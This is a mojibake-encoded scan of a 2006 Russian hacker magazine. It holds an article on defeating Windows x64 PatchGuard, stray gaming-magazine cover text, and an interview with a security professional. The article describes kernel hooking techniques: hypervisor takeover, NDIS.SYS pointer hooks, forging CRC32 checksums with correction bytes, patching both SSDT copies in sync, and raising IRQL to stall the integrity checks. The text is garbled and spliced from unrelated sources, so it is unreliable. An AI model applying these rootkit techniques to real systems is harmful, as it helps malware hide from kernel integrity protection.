ñîâ ñåðâèñíûõ ôóíêöèé íà õàêåðñêèå ïåðåõîäíèêè
ê íèì. Òàê æå õàêåð íå ìîæåò âìåøèâàòüñÿ â ðàáî-
òó ìåíåäæåðà èñêëþ÷åíèé èëè âîçäåéñòâîâàòü íà
âíóòðåííèå àðãóìåíòû êîìàíäû SYSCALL, õðàíÿ-
ùèåñÿ â MSR-ðåãèñòðàõ.

Âîò ñ òàêèì ïðîòèâíèêîì íàì ïðèäåòñÿ ñðà-
çèòüñÿ. Íî òàê ëè îí ñòðàøåí, êàê êàæåòñÿ?! ×òîáû íå
ïåðåñêàçûâàòü ñâîèìè ñëîâàìè ñòàòüþ «Bypassing
PatchGuard on Windows x64» (÷åãî ëèøíèé ðàç ïîâ-
òîðÿòüñÿ?), àâòîðû êîòîðîé ðàçäåðáàíèëè Patch-

Guard â ïóõ è ïðàõ, ìûùõú ñîñðåäîòî÷èòñÿ íà òîì,
÷åãî â ýòîé ñòàòüå íå áûëî.

ñèìáèîòè÷åñêèå ïïóòè ââûæèâàíèÿ. Ñîáñòâåí-
íî ãîâîðÿ, à ÷åãî ýòî ìû òàê âñòðåïåíóëèñü? ×åì
íàì, õàêåðàì, ìåøàåò ýòîò Patch-Guard, è çà÷åì
åãî óáèâàòü? Ïóñêàé æèâåò è çàùèùàåò íàøó ìà-
øèíó îò âñÿêèõ íåïðîøåíûõ òâàðåé (òèïà êðèâûõ
ïèîíåðñêèõ äðàéâåðîâ èëè ÷åðâåé), â òî âðåìÿ êàê
ìû çàïóñòèì ñâîé õâîñò â ÷óæèå.

Âñå ñîâðåìåííûå 64-ðàçðÿäíûå ïðîöåññî-
ðû ñåìåéñòâà AMD x86-64 è Intel IA64, âûïóùåí-
íûå ïîñëå àâãóñòà 2006 ãîäà, ïîääåðæèâàþò ìå-
õàíèçìû àïïàðàòíîé âèðòóàëèçàöèè. Äîñòàòî÷íî,
íàõîäÿñü â ðåæèìå ÿäðà, âûïîëíèòü ìàøèííóþ
êîìàíäó VMCALL (AMD) èëè VMXON (Intel), ÷òîáû
çàïóñòèòü ãèïåðâèçîð (â òåðìèíîëîãèè Intel — ìî-
íèòîð âèðòóàëüíûõ ìàøèí), ïåðåâîäÿùèé îïåðà-
öèîííóþ ñèñòåìó â ãîñòåâîé ðåæèì è ïîëíîñòüþ
êîíòðîëèðóþùèé åå, ïåðåõâàòûâàÿ âñå îáðàùå-
íèÿ ê ïîðòàì ââîäà/âûâîäà, ïðåðûâàíèÿ, ÷òå-
íèå/çàïèñü MSR-ðåãèñòðîâ (÷åðåç êîòîðûå, â ÷àñò-
íîñòè, ðåàëèçîâàíà èíñòðóêöèÿ SYSCALL). Ìû
êàê áû «ïîäìèíàåì» ïîä ñåáÿ îïåðàöèîííóþ ñèñ-
òåìó, ðàáîòàÿ â ìèíóñîâîì êîëüöå (åñòåñòâåííî,
â «ìèíóñîâîì» ÷èñòî óñëîâíî) è îñóùåñòâëÿåì
ïåðåõâàò áåç ìîäèôèêàöèè áàçîâîãî êîäà/äàí-
íûõ ãîñòåâîé ñèñòåìû, òàê ÷òî Patch-Guard íè÷åãî
íå ñìîæåò îïðåäåëèòü. Ïðè÷åì çàòêíóòü ýòó äûðó
áåç çíà÷èòåëüíîãî óùåðáà äëÿ ôóíêöèîíàëüíîñ-
òè Microsoft íå ñìîæåò õîòÿ áû ïî ÷èñòî ìàðêåòèí-
ãîâûì ñîîáðàæåíèÿì, èíà÷å — ïðîùàé àïïàðàò-
íàÿ âèðòóàëèçàöèÿ!

Ñ äðóãîé ñòîðîíû — äàæå åñëè îñòàâèòü âèð-
òóàëèçàöèþ â ïîêîå è âåðíóòüñÿ â ðåàëüíûé ìèð —
Patch-Guard ìîæåò êîíòðîëèðîâàòü òîëüêî íåèçìå-
íÿåìûå îáëàñòè êîäà è äàííûõ, à â òîì æå ñàìîì
äðàéâåðå NDIS.SYS ïîëíî óêàçàòåëåé, íàõîäÿùèõ-
ñÿ â ñòåêå, ïóëå ïàìÿòè è äðóãèõ èçìåíÿåìûõ ìåñ-
òàõ. Îñòàåòñÿ íàéòè òàêîé óêàçàòåëü, êîòîðûé áûë
áû èíèöèàëèçèðîâàí ïîñëå çàãðóçêè äðàéâåðà
â ïàìÿòü è óêàçûâàë íà âûçûâàåìûé êîä. Õàêåðû
óæå äàâíî è íåáåçóñïåøíî íàó÷èëèñü óñòàíàâëè-
âàòü õóêè íà NDIS.SYS â îáõîä Patch-Guard'à, ìàñ-
êèðóÿ «íåæåëàòåëüíóþ» ñåòåâóþ àêòèâíîñòü èëè
íàïðàâëÿÿ/ïðèíèìàÿ ïàêåòû, ñêðûâàþùèåñÿ îò
áðàíäìàóýðà. Ãëàâíûé è åäèíñòâåííûé ìèíóñ ýòî-
ãî ðåøåíèÿ — îòñóòñòâèå óíèâåðñàëüíîñòè. Ïðèõî-
äèòñÿ ëèáî «òàùèòü» ñìåùåíèÿ óêàçàòåëåé êàæ-

75

MSR-ðåãèñòðû, îáåñïå÷èâàþùèå ðàáîòó ìàøèííîé êîìàíäû syscall íà x86-64

Îíè ïåðâûìè âçëîìàëè Patch-Guard



76 VISTA EXTREME TEST ÑÏÅÖ 11-06

äîé âåðñèè NDIS'à çà ñîáîé (÷òî ìîíñòðóîçíî, äà è
âñåõ âåðñèé âñå ðàâíî íå ó÷òåøü), ëèáî èñïîëüçî-
âàòü ýâðèñòè÷åñêèå ìåòîäû (êîòîðûå âåñüìà íåíà-
äåæíû), ëèáî… ñêà÷èâàòü ñèìâîëüíóþ èíôîðìà-
öèþ ïðÿìî ñ ñåðâåðà Microsoft, âîñïîëüçîâàâøèñü
óòèëèòîé symchk, âõîäÿùèå â êîìïëåêò ïîñòàâêè
«Debugging Tools». Íå ñëèøêîì-òî èçÿùíîå ðåøå-
íèå, íî çàòî íàäåæíîå:

symchk NDIS.SYS

/s srv*.\*http://msdl.microsoft.com/down-

load/symbols -v

îáõîäè ììåíòà ññçàäè, àà PPatch-GGuard — ññïåðåäè.
Äëÿ ïðîâåðêè öåëîñòíîñòè ïóòåì ñèñòåìíûõ áèá-
ëèîòåê ðàçðàáîò÷èêè Patch-Guard'à íå ñòàëè èñ-
ïîëüçîâàòü òÿæåëîâåñíûå àëãîðèòìû òèïà MD5,
à âçÿëè áûñòðûé è ëåãêèé ÑRC. Î÷åâèäíî, îíè íå
ó÷èëè ìàò÷àñòü, ïîñêîëüêó CRC õîòü è îòíîñèòñÿ
ê íàäåæíûì àëãîðèòìàì, íî îðèåíòèðîâàí îí íà
íåïðåäíàìåðåííûå èñêàæåíèÿ. Ïîìåõè íà ëèíèè,
íàïðèìåð. Äîïèñàâ íåñêîëüêî «êîððåêòèðóþùèõ»
áàéò (äëÿ CRC8 — îäèí, äëÿ CRC16 — äâà, äëÿ
CRC 32 — ÷åòûðå è äëÿ CRC64 — âîñåìü), ìû äîáü-
åìñÿ òîãî, ÷òî êîíòðîëüíàÿ ñóììà ìîäèôèöèðî-
âàííîãî îáðàçà îñòàíåòñÿ íåèçìåííîé, è Patch-
Guard íè÷åãî íå çàìåòèò! 

Ïîñêîëüêó Patch-Guard êîíòðîëèðóåò áëîêè
ôèêñèðîâàííîãî ðàçìåðà, íàøà çàäà÷à ñëåãêà óñ-
ëîæíÿåòñÿ è, âìåñòî äîïèñûâàíèÿ êîððåêòèðóþ-
ùèõ áàéò, ìû äîëæíû çàïèñàòü èõ ïîâåðõ íåèñ-
ïîëüçóåìûõ íóëåâûõ áàéò, èëè íåíóëåâûõ — êàêàÿ
ðàçíèöà?! Ãëàâíîå, ÷òîáû èõ çíà÷åíèå ìîæíî áûëî
áåçáîëåçíåííî ìåíÿòü íà ëþáîå äðóãîå. Â êàæäîì
ôàéëå ëåãêî íàéòè ìíîæåñòâî êîìàíä NOP (îïêîä
90h), ðàñïîëîæåííûõ ìåæäó ôóíêöèÿìè è ñëóæà-
ùèõ äëÿ âûðàâíèâàíèÿ.

Îñòàåòñÿ òîëüêî ðàñêîâûðÿòü ñàìó ôóíê-
öèþ, èñïîëüçóåìóþ Patch-Guard'îì äëÿ ïîäñ÷åòà
êîíòðîëüíîé ñóììû (ëèñòèíã 5).

Êàê ìîæíî çàìåòèòü, íà âûõîäå ôóíêöèè
PgCreateBlockChecksumSubContext ìû ïîëó÷àåì
32-áèòíûé Checksum, çàïèñûâàåìûé â ñòðóêòóðó
BLOCK_CHECKSUM_STATE âìåñòå ñ áàçîâûì
ãîâîðÿ, ïðåôèêñ «Pg» îïðåäåëåííî îçíà÷àåò
Patch-Guard, ïîçâîëÿÿ íàì ëåãêî è áûñòðî îòäå-
ëÿòü ïðèíàäëåæàùèå ê Patch-Guard'ó ôóíêöèè îòî
âñåõ îñòàëüíûõ ôóíêöèé ÿäðà). Ñì. ëèñòèíã 6.

Èíôîðìàöèîííàÿ åìêîñòü 32-áèòíîé êîíò-
ðîëüíîé ñóììû ñîñòàâëÿåò âñåãî 4 áàéòà, êîòîðûå
ýëåìåíòàðíî ðàññ÷èòûâàþòñÿ äàæå áåç âñÿêîãî
ïåðåáîðà. Ïîäðîáíåå îá ýòîì ìîæíî ïðî÷èòàòü
â ìîåé ñòàòüå «Êàê ïîääåëûâàþò CRC16/32» (âà-
ëÿþùåéñÿ íà ftp://nezumi.org,ru), à òàê æå â çàìå÷à-

òåëüíîì õàêåðñêîì ðóêîâîäñòâå, îðèåíòèðîâàí-
íîì íà àñòìàòèêîâ è äîõîä÷èâî ðàññêàçûâàþùèì,
êàê âû÷èñëÿåòñÿ è ïîääåëûâàåòñÿ CRC32 ïóòåì
äîïèñûâàíèÿ 4-õ êîððåêòèðóþùèõ áàéò â êîíåö
êîíòðîëèðóåìîãî áëîêà: http://foff.astalavista.ms/-
tutorialz/Crc.htm, äîáðîòíûé ïåðåâîä êîòîðîé íà ðóñ-
ñêèé ëåæèò íà: www.pilorama.r2.ru/library/pdf/crcrevrs.pdf.

Ó÷èòûâàÿ, ÷òî Microsoft â ëþáîé ìîìåíò ìî-
æåò ïåðåñìîòðåòü ñâîè ïîçèöèè, ðàñøèðèâ êîíò-
ðîëüíóþ ñóììó äî 8-áàéò (÷òî íà 64-ðàçðÿäíûõ
ïðîöåññîðàõ î÷åíü ëåãêî ñäåëàòü), íåëèøíèì áó-
äåò çàáëàãîâðåìåííîå îçíàêîìëåíèå ñ áàçîâûìè
ïðèíöèïàìè àëãîðèòìà CRC64, îïèñàíèå êîòîðîãî
ïðèïðÿòàíî íà: www.pdl.cmu.edu/mailinglists/ips/mail/-
msg02982.html.

Àíàëîãè÷íûì îáðàçîì îñóùåñòâëÿåòñÿ è ìî-
äèôèêàöèÿ GDT/IDT — â íèõ ïîëíî íåçàäåéñòâîâàí-
íûõ ïîëåé è âûêðîèòü ÷åòûðå áàéòà íå áóäåò ïðîá-
ëåìîé. À âîò ñ SSDT äåëà îáñòîÿò ïîõóæå, ïîñêîëü-
êó Patch-Guard ñâåðÿåò «ðàáî÷óþ» êîïèþ ñ åå «îðè-
ãèíàëîì», õðàíÿùèìñÿ âíóòðè îáðàçà
NTOSKRNL.EXE ïî àäðåñó nt!KeServiceDe-scriptor-
Table. Êàæåòñÿ, ÷òî ñèòóàöèÿ — ôèíèø, íî íåò! Âåäü
ìû óæå óìååì áåçáîëåçíåííî ìîäèôèöèðîâàòü îá-
ðàç ÿäðà, ñëåäîâàòåëüíî, íàì íè÷åãî íå áóäåò ñòî-
èòü ñèíõðîííî ïðîèçâåñòè èçìåíåíèÿ â îáåèõ òàáëè-
öàõ, è Patch-Guard ñíîâà íè÷åãî íå çàìåòèò.

Âåñü âîïðîñ â òîì, íàñêîëüêî íàäåæåí è
«çàêîíåí» òàêîé õàê? Âåäü ìîäèôèêàöèÿ îáðàçà
ÿäðà — äàëåêî íå àòîìàðíàÿ îïåðàöèÿ! Ñíà÷àëà
ìû äîëæíû ðàññ÷èòàòü CRC32 «èñïðàâëåííîãî»
ôàéëà, çàòåì ìîäèôèöèðîâàòü íåêîå êîëè÷åñòâî
áàéò îáðàçà, ïîñëå ÷åãî âíåäðèòü ÷åòûðå «êîð-
ðåêòèðóþùèõ» áàéòà. À ÷òî åñëè â ïðîìåæóòêå
ìåæäó ìîäèôèêàöèåé è «êîððåêöèåé» íåîæèäàí-
íî ïðîñíåòñÿ Patch-Guard è çàêðè÷èò: «Èçìåíà!!!
Íàñ ïîèìåëè!!!». ×òîáû çàñòàâèòü åãî çàòêíóòüñÿ,
äîñòàòî÷íî âñïîìèíàòü, ÷òî «ñòðàæíèêè» ïðåäñ-
òàâëÿþò ñîáîé îáûêíîâåííûå îòëîæåííûå ïðîöå-
äóðû — (Deferred Procedure Call) èëè ñîêðàùåííî
DPC, èñïîëíÿþùèåñÿ íà IRQL-óðîâíå, ðàâíîì

äâóì. Åñëè ìû ïîâûñèì IRQL (íå çàáûâàÿ, ÷òî
â ìíîãîïðîöåññîðíûõ ñèñòåìàõ êàæäûé ïðîöåñ-
ñîð èìååò ñâîé IRQL), òî íèêàêèå DPC èñïîëíÿòü-
ñÿ íå ñìîãóò, ïîêà óðîâåíü âíîâü íå áóäåò ïîíè-
æåí. Ïðàâäà, âìåñòå ñ DPC íå áóäåò ðàáîòàòü è
ïîäêà÷êà ñ äèñêà, òàê ÷òî ìîæíî î÷åíü ëåãêî íàð-
âàòüñÿ íà ãîëóáîé ýêðàí ñìåðòè, íî! Åñëè ñíà÷àëà
îáðàòèòüñÿ ê òîé ñòðàíèöå îáðàçà, êîòîðóþ ìû
ñîáèðàëèñü ìîäèôèöèðîâàòü, à çàòåì — ê ñòðà-
íèöå, êóäà ñîáðàëèñü âíåäðÿòü êîððåêòèðóþùèå
áàéòû, îáå ñòðàíèöû ãàðàíòèðîâàííî îêàæóòñÿ
â ïàìÿòè, è ìû ìîæåì ñìåëî ïîâûøàòü IRQL íà
âðåìÿ ìîäèôèêàöèè.

çàêëþ÷åíèå. Òàê âñå-òàêè, íàñêîëüêî íàäå-
æåí Patch-Guard è îò ÷åãî îí íàñ ðåàëüíî çàùèùà-
åò? Ïî ïðàâäå ãîâîðÿ (ïîëîæà ðóêó íà õâîñò), êàê
è âñå ñäåëàííîå Microsoft, Patch-Guard êàòàñòðî-
ôè÷åñêè íåíàäåæåí. Âî-ïåðâûõ, îí ìîæåò áûòü
ýëåìåíòàðíûì îáðàçîì îòêëþ÷åí (÷òî è áûëî ïðî-
äåìîíñòðèðîâàíî àâòîðàìè ñòàòüè «Bypassing
PatchGuard on Windows x64»), âî-âòîðûõ, ïîñëå óñ-
òàíîâêè ãèïåðâèçîðà îñíîâíàÿ îïåðàöèîííàÿ ñèñ-
òåìà íåîæèäàííî äëÿ ñåáÿ ïåðåõîäèò â ãîñòåâîé
ðåæèì, ïîëíîñòüþ ïîäêîíòðîëüíûé ìîíèòîðó âèð-
òóàëüíûõ ìàøèí. Â-òðåòüèõ, ïîäñ÷åò êîíòðîëüíîé
ñóììû çàùèùàåìûõ îáúåêòîâ âûïîëíåí â «ïèîíå-
ðñêîì» ñòèëå, è íå îáíàðóæèâàåò ïðåäíàìåðåííûå
èñêàæåíèÿ. Â ïðèíöèïå! È ýòî âñå ìåòîäû, íå òðå-
áóþùèå ïåðåçàãðóçêè!!! À åñëè äîáàâèòü ñþäà âîç-
ìîæíîñòü ñîçäàíèÿ ñîáñòâåííîãî çàãðóç÷èêà, èìè-
òèðóþùåãî íàëè÷èå ñèñòåìíîãî îòëàä÷èêà, òî ïî-
ëó÷èòñÿ âîîáùå êîñÿê!

×åðâè, õàêåðû è rootkit'û íè÷óòü íå ïîñòðàäà-
þò, à âîò ëåãàëüíûì ðàçðàáîò÷èêàì ïðèäåòñÿ ïî-
ïûõòåòü. «Ïî óìó» â Âèñòå äîëæíà áûòü îïöèÿ «çà-
äåéñòâîâàòü Patch-Guard èëè íåò», ïîçâîëÿþùàÿ
ïîëüçîâàòåëþ âûáèðàòü íåñåêüþðíóþ ìàøèíó, íå-
ñîâìåñòèìóþ ñ êó÷åé ïðîãðàìì, èëè íåñåêüþòðíóþ
ìàøèíó, íà êîòîðîé âñå ïðîãðàììû ðàáîòàþò èñï-
ðàâíî. Íî… Microsoft êàê âñåãäà èäåò ñâîèì ïóòåì,
ïîâòîðÿÿ äåëî, íà÷àòîå Èâàíîì Ñóñàíèíûì

Â IDT ïîëíî íåèñïîëüçóåìûõ íóëåé,
êîòîðûå ìîæíî èñïîëüçîâàòü äëÿ êîððåêöèè

Âìåñòî ïîäñ÷åòà êîíòðîëüíîé ñóììû SSDT,
Patch-Guard ñâåðÿåò åå ñ îðèãèíàëîì,
ïîýòîìó îáå êîïèè ïðèõîäèòñÿ ïðàâèòü ñèíõðîííî
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ÓÍÈÊÀËÜÍÛÉ ÄÈÑÊ

ÆÓÐÍÀË Î ËÓ×ØÈÕ ÊÎÌÏÜÞÒÅÐÍÛÕ È ÂÈÄÅÎÈÃÐÀÕ              PC  ||  PS2  ||  PS3  ||  GAMECUBE  ||  WII  II  XBOX  ||  XBOX 360  ||  GBA  ||  DS  ||  PSP 17#218 | ÑÅÍÒßÁÐÜ | 2006

ÏÐÎÖÅÑÑÎÐÛ
Òåñò Intel Core Duo 2
äëÿ íàñòîëüíûõ ÏÊ

Â ÐÀÇÐÀÁÎÒÊÅ:
Rayman Raving Rabbids |
Mario vs Donkey Kong 2 I
Indiana Jones 2007 I 
God Hand I  Àäðåíàëèí 2 |
Half-Life 2: Episode Two I
Ìàãèÿ Êðîâè: Âðåìÿ Òå-
íåé  |  Îíèáëýéä |  Virtua 
Fighter 5 |  Destroy All
Humans! 2: Make War not
Peace |  Áðàòâà è Êîëüöî |
ThreadSpace: Hyperbol

ÎÁÇÎÐÛ:
Cars | Âëàäûêè Àñòðàëà |
Suikoden V  |  Ñhrome-
hounds |  Civilization IV:
Warlords |  CivCity: 
Rome  |  The X-Files:
The Game

GameLand Magazine

SOUTH PARK
Èãðîâîå ïðîêëÿòèå
êóëüòîâîãî
ìóëüòñåðèàëà

Suikoden V
Âîçðîæäåíèå ðîëåâîãî ñåðèàëà

FIFA 2007
Â ãîñòÿõ ó Electronic Arts

WarFare
Áëèæíèé Âîñòîê â îãíå

ÕÈÒ!?

ÊÎÍÊÓÐÑÛ!
áàñêåòáîëüíûå ñóïåðìàò÷è!

Õðîíîëîãèÿ
Grand Theft Auto

Óêðàë. Âûïèë. Â òþðüìó!

ÒÅÌÀ ÍÎÌÅÐÀ

Suikoden V
Âîçðîæäåíèå ðîëåâîãî ñåðèàëà

ÑÅÐÈÀË

Need
for

Speed
Äâåíàäöàòü ëåò íà 
ïðåäåëüíîé ñêîðîñòè

ÑÅÐÈÀË

Need
for

Speed
Äâåíàäöàòü ëåò íà 
ïðåäåëüíîé ñêîðîñòè

ÑÏÅÖ
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Ñ ýòèì ÷åëîâåêîì ÿ çíàêîì äîñòàòî÷íî äàâíî.
Â íàøåì æóðíàëå íå ðàç ïîÿâëÿëèñü åãî íåáîëü-
øèå çàìåòêè è ìíåíèÿ ïî òîìó èëè èíîìó âîïðîñó
â ñôåðå ÈÒ-ñåêüþðèòè. Êîãäà ãîòîâèëè ïðîøëûé
âûïóñê ïî áåçîïàñíîñòè — âðåçêè ñ åãî îòâåòàìè
íà âîïðîñû ìåëüêàëè ïðàêòè÷åñêè â êàæäîé ñòàòüå
ïî âçëîìó/çàùèòå. Âñòðå÷àéòå: offtopic, ñïåöèàëèñò
ïî IT-áåçîïàñíîñòè ñ áîëüøîé áóêâû.

Ð À Ñ Ñ Ê À Æ È  × È Ò À Ò Å Ë ß Ì  Î Ñ Å Á Å .

Ê À Ê Ç Î Â Ó Ò ,  Ñ Ê Î Ë Ü Ê Î  Ë Å Ò ,

Ã Ä Å Ð À Á Î Ò À Å Ø Ü ?

ÎFFTOPIC: Ñåðãåé Ãîðäåé÷èê, 28, ñ ñåíòÿáðÿ ýòî-
ãî ãîäà ðàáîòàþ â êîìïàíèè Positive Technologies.
Æåíàò. Íåäàâíî ðîäèëñÿ ñûí, â ñâÿçè ñ ÷åì îùó-
ùàþ õðîíè÷åñêèé íåäîñûï :).

Ñ È Ë Ü Í Î  Ì Å Ø À Å Ò  Ä Î Ñ Ò À Ò Î × Í Î

Í Å Ï Ð Î Ñ Ò À ß  Ð À Á Î Ò À  Ë È × Í Î É  Æ È Ç Í È ?

ÎFFTOPIC: Æåíà ìåíÿ ïîääåðæèâàåò âî âñåõ ìî-
èõ íà÷èíàíèÿõ, õîòÿ èíîãäà, êîãäà ìóæ, âûêëþ÷èâ
êîìïüþòåð, õâàòàåòñÿ çà ÊÏÊ, âûõîäèò èç ñåáÿ.
Íî â áîëüøèíñòâå ñèòóàöèé óäàåòñÿ íàéòè êîìïðî-
ìèññ. Áåç íîðìàëüíîãî îáùåíèÿ, îòäûõà è æèçíè
â ñåìüå ïîëíîöåííî ðàáîòàòü íå ïîëó÷àåòñÿ — òó-
ïååøü. Ìåíÿ íå íàïðÿãàþò äîìàøíèå äåëà, ÿ î÷åíü
ëþáëþ ãîòîâèòü. Ðàçâå ÷òî ìûòüå ïîñóäû.

Ê À Ê  Ä À Â Í Î  Ï Î ß Â È Ë Î Ñ Ü  Æ Å Ë À Í È Å

Ç À Í ß Ò Ü Ñ ß  Ê Î Ì Ï Ü Þ Ò Å Ð Í Î É

Á Å Ç Î Ï À Ñ Í Î Ñ Ò Ü Þ ,  Ä À  È  Â Î Î Á Ù Å

Ê Î Ì Ï Ü Þ Ò Å Ð À Ì È  Â Ö Å Ë Î Ì ?

ÎFFTOPIC: Äàâíûì-äàâíî, êîãäà ãîðû áûëè âû-
ñîêèå, ÿ ñëó÷àéíî ïîïàë íà çàíÿòèÿ êîìïüþòåðíî-
ãî êðóæêà íà áàçå Ëåñîòåõíèêóìà, ãäå ìîëîäûõ ïà-
öàíîâ äîïóñêàëè äî ÁÊ0010-01. Òàì ÿ íàïèñàë

ñâîé ïåðâûé hello world (òî÷íåå, circle), íó à äàëü-
øå — basic, asm, focal, ÄÂÊ, Yamaha, õíèêóìXTÅ.
Çàïðàâëÿë ýòèì êðóæêîì Ãåííàäèé Ëåîíèäîâè÷,
êîòîðîìó ÿ âûðàæàþ ãëóáîêóþ áëàãîäàðíîñòü
çà åãî íà÷èíàíèå.

À  Ê Î Ã Ä À  Ò Û  Í À × À Ë  Ç À Í È Ì À Ò Ü Ñ ß

È Ì Å Í Í Î  Á Å Ç Î Ï À Ñ Í Î Ñ Ò Ü Þ ?

× Ò Î Ï Î Ä Ò Î Ë Ê Í Ó Ë Î ?

ÎFFTOPIC: Èñòîðè÷åñêè ñëîæèëîñü. Êàê-òî äàæå
íå ìîãó ñêàçàòü. Ïðîñî÷èëîñü, â îáùåì.

Ê À Ê Î Å  Î Á Ð À Ç Î Â À Í È Å  Ò Û Ï Î Ë Ó × È Ë ?

È Â  Ê À Ê Î Ì  Â Û Ñ Ø Å Ì  Ó × Å Á Í Î Ì

Ç À Â Å Ä Å Í È È ?  : )

ÎFFTOPIC: Äàëüíåâîñòî÷íûé Óíèâåðñèòåò Ïóòåé
Ñîîáùåíèÿ (ýêñ ÕàáÈÈÆÒ), ãîðîä Õàáàðîâñê. Ìî-
ãó ìíîãîå ðàññêàçàòü ïðî ñâåòîôîðû, ñòðåëêè è
ðåëå ïåðâîãî êëàññà íàäåæíîñòè :). Ïî äèïëîìó
«èíæåíåð-ìèíóñ-ýëåêòðèê», ñïåöèàëèçàöèÿ —
«Ìèêðîïðîöåññîðíûå èíôîðìàöèîííî-óïðàâëÿþ-
ùèå ñèñòåìû».

× Å Ì  Ç À Í È Ì À Å Ò Ñ ß  P O S I T I V E

T E C H N O L O G I E S ?  Ê À Ê Ó Þ  Ä Î Ë Æ Í Î Ñ Ò Ü

Ç À Í È Ì À Å Ø Ü  Ò Û ?

ÎFFTOPIC: ×åì òîëüêî íå ïðèõîäèòñÿ çàíèìàòü-
ñÿ. Ïåíòåñòû, àíàëèç çàùèùåííîñòè Web-ïðèëî-
æåíèé, áåñïðîâîäíûõ ñåòåé… Íó è åñòåñòâåííî —
ðàçâèòèå XSpider. Åñëè ïðè ðó÷íîé ïðîâåðêå íàõî-
äèøü ÷òî-òî, ÷åãî íå íàøåë «ñïàéäåð» — ïûòà-
åøüñÿ àëãîðèòìèçèðîâàòü ýòó ïðîâåðêó, îïèñàòü
ëîãèêó ðàáîòû.

Í À Ñ Ê Î Ë Ü Ê Î  Î Ñ Ò Ð Î ,  Í À  Ò Â Î É

Â Ç Ã Ë ß Ä ,  Ñ Å É × À Ñ  Ñ Ò Î È Ò  Ï Ð Î Á Ë Å Ì À

Á Å Ç Î Ï À Ñ Í Î Ñ Ò È ?  È Ê À Ê Î Â Û

Ò Å Í Ä Å Í Ö È È  Ï Î Ñ Ë Å Ä Í È Õ  5  Ë Å Ò ?

ÎFFTOPIC: ×åì äàëüøå, òåì îñòðåå. Çàâÿçàí-
íîñòü áèçíåñà íà ÈÒ ñòàíîâèòñÿ âûøå, êîëè÷åñòâî
ñèñòåì è èõ ñëîæíîñòü ðàñòåò, îáúåì êîäà óâåëè-
÷èâàåòñÿ, óðîâåíü êâàëèôèêàöèè ïîëüçîâàòåëåé
è àäìèíèñòðàòîðîâ ïàäàåò. Âñå ïëîõî :).

Ñ  Ê À Ê È Ì È  Ñ È Ñ Ò Å Ì À Ì È

Ð À Á Î Ò À Ë / Ð À Á Î Ò À Å Ø Ü ?

Á Û Ë È Ë È Ñ Ë Ó × À È  Â Ç Ë Î Ì Î Â ?

ÎFFTOPIC: Åñëè ïåðå÷èñëÿòü âñå — ïîëó÷èòñÿ
ïîõîæå íà ðåçþìå íà÷èíàþùåãî àäìèíèñòðàòî-
ðà. Ñïåöèàëèçèðóþñü íà êîðïîðàòèâíûõ ñåòÿõ
íà áàçå ïðîäóêòîâ Microsoft, íî äîñòàòî÷íî ïëîò-
íî ïðèõîäèòñÿ ðàáîòàòü è ñ äðóãèìè ñèñòåìàìè.
Ñëó÷àè âçëîìîâ ìîèõ ñèñòåì? Êîíå÷íî. Ìíå äî
ñèõ ïîð ñòûäíî çà íåêîòîðûå ïðîãðàììû, êîòî-
ðûå ÿ ïèñàë âî âðåìåíà ñòóäåí÷åñòâà :). Åñëè ãî-
âîðèòü î òåõ ñåòÿõ, êîòîðûå ÿ àäìèíèñòðèðîâàë,S
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òî èõ òîæå ëîìàëè. Íî â áîëüøèíñòâå ñëó÷àåâ
èíöèäåíò áûë îáíàðóæåí, ðàññëåäîâàí, à ïîñëå-
äñòâèÿ ìèíèìèçèðîâàííû. Âåäü àáñîëþòíîé çà-
ùèòû íå áûâàåò, à êîãäà íå ìîæåøü ïðåäîòâðà-
òèòü, íåîáõîäèìî óïðàâëÿòü ïîñëåäñòâèÿìè.

Ï Ð È Ç Í À É Ñ ß  × Å Ñ Ò Í Î , Ñ À Ì Î Ì Ó  Ë Î Ì À Ò Ü

Ê Î Ã Ä À - Í È Á Ó Ä Ü  Ï Ð È Õ Î Ä È Ë Î Ñ Ü ?

ÎFFTOPIC: Êîãäà òû ñòóêíóë â àñþ, — äîïèñû-
âàë îò÷åò îá ýêñïëóàòàöèè ñëåïîé SQL Injection
â PostgreSQL íà Web-ñåðâåðå ñèñòåìû ýëåêò-
ðîííîé êîììåðöèè, ñïðÿòàííîì çà ModSecurity.
Åñëè òû èìååøü ââèäó «ïîõàêàòü ëàðîâ è çàñâå-
òèòüñÿ íà zone-h» (zone-h.org — ðåñóðñ, 
ïîñâÿùåííûé ñîáûòèÿì â ìèðå IT è áåçîïàñíîñ-
òè â ÷àñòíîñòè. — Ïðèì. àâòîðà), òî îòâåò îòðè-
öàòåëüíûé. Ñëèøêîì óæ ÿ «ñîâåòñêèé ÷åëîâåê».
Äàæå ïëàòèë â òðîëëåéáóñàõ äî óñòàíîâêè 
òóðíèêåòîâ.

Â Ð Å Ì Å Í À  Ï È Î Í Å Ð Î Â  Ç À Ñ Ò À Ë ,

Í À Â Å Ð Í Î Å ?

ÎFFTOPIC: Çàñòàë. Íåìíîãî. Êðàñíûé ãàëñòóê
ãëàäèë. È î÷åíü ðàññòðàèâàëñÿ èç-çà òîãî, ÷òî äå-
äóøêà Ëåíèí âñåõ îáìàíûâàë è ãîâîðèë ëþäÿì
íå ñâîå íàñòîÿùåå èìÿ… Óëüÿíîâ (ïðèïèñêà
äëÿ ìîëîäåæè).

Ê À Ê Î É  Ê Î Ì Ï Ü Þ Ò Å Ð  Ñ Ò Î È Ò  Ó Ò Å Á ß

Ä Î Ì À ?  Ê À Ê À ß  Î Ñ Ü ?  Ë Þ Á È Ì Û É  Ñ Î Ô Ò ,

Ê Î Ò Î Ð Û É  Ò Û  Í Å  Ï Ð Î Ì Å Í ß Å Ø Ü

Í À Ñ Â Å Æ È Å  Ð À Ç Ð À Á Î Ò Ê È ?

ÎFFTOPIC: Äîìà äåðæó Acer Aspire 9504. ÎÑü —
ðîäíàÿ, Windows Mediacenter. Ïëþñ ïîëèãîí÷èê
íà VMWare è òðîéêà LiveFlash ñ ðàçíîîáðàçíûìè
«ïèíãâèíàìè». Ê ñîôòó íå ïðèâÿçàí àáñîëþòíî.
Ðàçâå ÷òî íîñòàëüãè÷åñêè âñïîìèíàþ îäèí èç
ñâîèõ ïåðâûõ ÊÏÊ — Psion. ÈÌÕÎ, ñàìûå óäîá-
íûå ìàøèíêè äëÿ ÷òåíèÿ/íàáîðà òåêñòà. Íî ñåé-
÷àñ ýòèõ ìàøèíîê íå âûïóñêàþò, à Symbian ïåðå-
åõàë â ñìàðòôîíû…

× Ò Î  Ï Ð Î Ã Ð À Ì Ì È Ð Ó Å Ø Ü  

È Í À Ê À Ê È Õ  ß Ç Û Ê À Õ ?  

ÎFFTOPIC: Ñ 2002 ãîäà íè÷åãî íå ïèøó, êðîìå
